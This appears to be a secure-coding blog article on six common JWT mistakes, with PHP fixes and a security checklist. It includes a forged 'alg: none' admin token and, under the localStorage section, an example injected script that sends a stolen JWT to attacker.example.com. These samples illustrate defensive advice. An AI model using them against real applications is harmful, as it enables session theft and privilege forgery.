JSON Web Tokens appear straightforward: a base64-encoded header, payload, and signature. But the JWT specification contains a surprising number of footguns, and real-world implementations compound them with storage mistakes, validation oversights, and misuse of the format. This article covers the mistakes that actually appear in production code.
Mistake 1: Accepting the None Algorithm
This is the most famous JWT vulnerability. The JWT specification defines an "alg" header field that tells the verifier which algorithm was used to sign the token. One valid value is none, meaning an unsigned token.
Some libraries, when configured to accept multiple algorithms, will accept a token with alg: none as valid — effectively allowing anyone to forge tokens with any claims they want.
An attacker crafts this token:
Header: { "alg": "none", "typ": "JWT" }
Payload: { "sub": "1", "role": "admin", "exp": 9999999999 }
Signature: (empty)
Base64url-encode the header and payload, append a trailing dot, and submit:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.
Fix: Explicitly specify the expected algorithm. Never accept a list that includes none. Never derive the algorithm from the token itself.
// BAD: algorithm is taken from the token header — never do this
$decoded = JWT::decode($token, $secret); // Some libraries default to reading alg from token
// GOOD: explicitly specify the expected algorithm
try {
$decoded = JWT::decode(
$token,
new Key($publicKey, 'RS256') // Algorithm is hardcoded, not from token
);
} catch (Exception $e) {
// Invalid token — reject
return null;
}
Mistake 2: Using HS256 With a Weak or Public Secret
HMAC-based JWT (HS256, HS384, HS512) uses a shared secret to both sign and verify tokens. The security of this approach depends entirely on the secrecy and entropy of that shared key.
Common mistakes:
- Using a predictable secret like
secret,jwt_secret, or your application name - Using the same secret across all environments
- Committing the secret to source control
- Using a short secret (under 256 bits) that can be brute-forced
If an attacker discovers your HMAC secret, they can sign arbitrary tokens claiming any identity.
Fix for shared secrets: Generate a proper random secret.
# Generate a 256-bit (32-byte) random secret
openssl rand -base64 32
# Output: something like: xK9mN2pQ8rT5vW1yA4bE7hJ0kL3nO6sU9wX2zC5f
Better fix: Use RS256 (asymmetric) instead. The private key signs tokens; the public key verifies them. You can distribute the public key freely without compromising your signing capability.
class JwtService
{
public function issue(User $user): string
{
$privateKey = openssl_pkey_get_private(file_get_contents(config('jwt.private_key_path')));
return JWT::encode([
'sub' => (string) $user->id,
'email' => $user->email,
'iat' => time(),
'exp' => time() + 3600,
'iss' => config('app.url'),
], $privateKey, 'RS256');
}
public function verify(string $token): ?stdClass
{
$publicKey = openssl_pkey_get_public(file_get_contents(config('jwt.public_key_path')));
try {
return JWT::decode($token, new Key($publicKey, 'RS256'));
} catch (Exception $e) {
return null;
}
}
}
Mistake 3: Not Validating Claims
A correctly signed token is not necessarily a valid token. The signature proves the token has not been tampered with; the claims prove it is being used correctly.
Critical claims to validate:
exp (expiration time): Reject tokens past their expiry. Most libraries do this automatically, but verify that your library is not silently ignoring it.
nbf (not before): Reject tokens used before their valid-from time.
iss (issuer): Only accept tokens issued by your own system (or a trusted external issuer). Without this check, tokens from a different application using the same algorithm could be accepted.
aud (audience): Only accept tokens intended for your service. A token issued for your API should not be accepted by your admin panel.
class TokenValidator
{
public function validate(string $token, string $expectedAudience): ?TokenPayload
{
try {
$payload = JWT::decode($token, new Key($this->publicKey, 'RS256'));
// Validate issuer
if ($payload->iss !== config('app.url')) {
Log::warning('JWT issuer mismatch', ['iss' => $payload->iss]);
return null;
}
// Validate audience
$audiences = is_array($payload->aud) ? $payload->aud : [$payload->aud];
if (!in_array($expectedAudience, $audiences, true)) {
Log::warning('JWT audience mismatch', ['aud' => $payload->aud]);
return null;
}
// exp is validated by the library, but double-check
if ($payload->exp < time()) {
return null;
}
return new TokenPayload($payload);
} catch (ExpiredException $e) {
return null;
} catch (Exception $e) {
Log::warning('JWT validation failed', ['error' => $e->getMessage()]);
return null;
}
}
}
Mistake 4: Storing JWTs in localStorage
Single-page apps often store JWTs in localStorage or sessionStorage for easy access. The problem: any JavaScript running on your page can read localStorage. This makes it a prime target for XSS attacks.
If an attacker injects a script into your page (through a third-party library, a user-generated content field, or a compromised CDN), they can steal the JWT:
// Attacker's injected script
fetch('https://attacker.example.com/collect?token=' + localStorage.getItem('jwt'));
Fix: Store JWTs in HttpOnly cookies. JavaScript cannot read HttpOnly cookies, so XSS cannot steal the token.
class AuthController
{
public function login(LoginRequest $request): Response
{
$user = $this->authenticate($request->only('email', 'password'));
$token = $this->jwtService->issue($user);
return response()->json(['user' => $user->only('id', 'name', 'email')])
->cookie(
name: 'auth_token',
value: $token,
minutes: 60,
path: '/',
domain: config('session.domain'),
secure: true, // HTTPS only
httpOnly: true, // Not accessible to JavaScript
sameSite: 'Strict', // CSRF protection
);
}
}
Read the token from the cookie on subsequent requests:
class JwtMiddleware
{
public function handle(Request $request, Closure $next): Response
{
$token = $request->cookie('auth_token')
?? $this->extractBearerToken($request); // Fallback for API clients
if (!$token) {
return response()->json(['error' => 'Unauthenticated'], 401);
}
$payload = $this->jwtService->verify($token);
if (!$payload) {
return response()->json(['error' => 'Invalid token'], 401);
}
$request->attributes->set('jwt_payload', $payload);
Auth::loginUsingId($payload->sub);
return $next($request);
}
}
Mistake 5: No Revocation Strategy
JWTs are stateless by design — the server does not store them. This means you cannot invalidate a specific token before it expires. If a user logs out, their token is still valid until expiry. If credentials are compromised, you cannot immediately revoke access.
Strategies for handling revocation:
Short expiry + refresh tokens: Issue access tokens that expire in 15 minutes. Issue a longer-lived refresh token (stored in HttpOnly cookie) that can obtain a new access token. When you need to revoke access, invalidate the refresh token.
class TokenService
{
public function issueTokenPair(User $user): array
{
return [
'access_token' => JWT::encode([
'sub' => $user->id,
'type' => 'access',
'exp' => time() + 900, // 15 minutes
], $this->privateKey, 'RS256'),
'refresh_token' => $this->createRefreshToken($user),
];
}
private function createRefreshToken(User $user): string
{
$token = Str::random(64);
// Store refresh token in database — this IS stateful
DB::table('refresh_tokens')->insert([
'user_id' => $user->id,
'token_hash' => hash('sha256', $token),
'expires_at' => now()->addDays(30),
]);
return $token;
}
public function refreshAccessToken(string $refreshToken): ?string
{
$record = DB::table('refresh_tokens')
->where('token_hash', hash('sha256', $refreshToken))
->where('expires_at', '>', now())
->whereNull('revoked_at')
->first();
if (!$record) {
return null;
}
$user = User::find($record->user_id);
return JWT::encode([
'sub' => $user->id,
'type' => 'access',
'exp' => time() + 900,
], $this->privateKey, 'RS256');
}
public function revokeRefreshToken(string $refreshToken): void
{
DB::table('refresh_tokens')
->where('token_hash', hash('sha256', $refreshToken))
->update(['revoked_at' => now()]);
}
}
Token blocklist for emergencies: Maintain a Redis set of revoked jti (JWT ID) claims. Check this on each request for high-security operations. This adds a database/cache lookup but allows immediate revocation when needed.
public function revoke(string $token): void
{
$payload = $this->decode($token); // Decode without verification for the jti
$ttl = max(0, $payload->exp - time());
Redis::setex("revoked_jti:{$payload->jti}", $ttl, '1');
}
public function isRevoked(string $jti, int $exp): bool
{
return Redis::exists("revoked_jti:{$jti}") > 0;
}
Mistake 6: Putting Sensitive Data in the Payload
JWT payloads are base64url-encoded, not encrypted. Anyone with the token can decode the payload and read all claims.
// BAD: sensitive data in payload
$token = JWT::encode([
'sub' => $user->id,
'ssn' => $user->social_security_number, // Never do this
'credit_card' => $user->payment_card_number, // Never do this
'password_hash' => $user->password, // Never do this
], $privateKey, 'RS256');
// GOOD: minimal claims only
$token = JWT::encode([
'sub' => $user->id,
'email' => $user->email,
'role' => $user->role,
'exp' => time() + 3600,
'iat' => time(),
'jti' => Str::uuid()->toString(),
], $privateKey, 'RS256');
If you must include sensitive data in a token, use JWE (JSON Web Encryption) rather than JWS (JSON Web Signatures). JWE encrypts the payload so only the intended recipient can read it.
Quick Reference: JWT Security Checklist
[ ] Algorithm explicitly specified — never derived from token header
[ ] "none" algorithm rejected unconditionally
[ ] RS256 (asymmetric) preferred over HS256 (symmetric)
[ ] HMAC secret has at least 256 bits of entropy
[ ] exp claim validated on every token verification
[ ] iss claim validated — token is from expected issuer
[ ] aud claim validated — token is intended for this service
[ ] Access tokens have short expiry (15-60 minutes)
[ ] Refresh tokens are stored in the database (revocable)
[ ] Tokens stored in HttpOnly cookies, not localStorage
[ ] No sensitive data (PII, secrets) in the payload
[ ] jti claim used for uniqueness and revocation
[ ] Token validation failures are logged
JWTs are a useful tool. They are also a specification with enough sharp edges that a rushed implementation is likely to be insecure. Take the time to get the details right.
Building secure, reliable systems? We help teams deliver software they can trust. scopeforged.com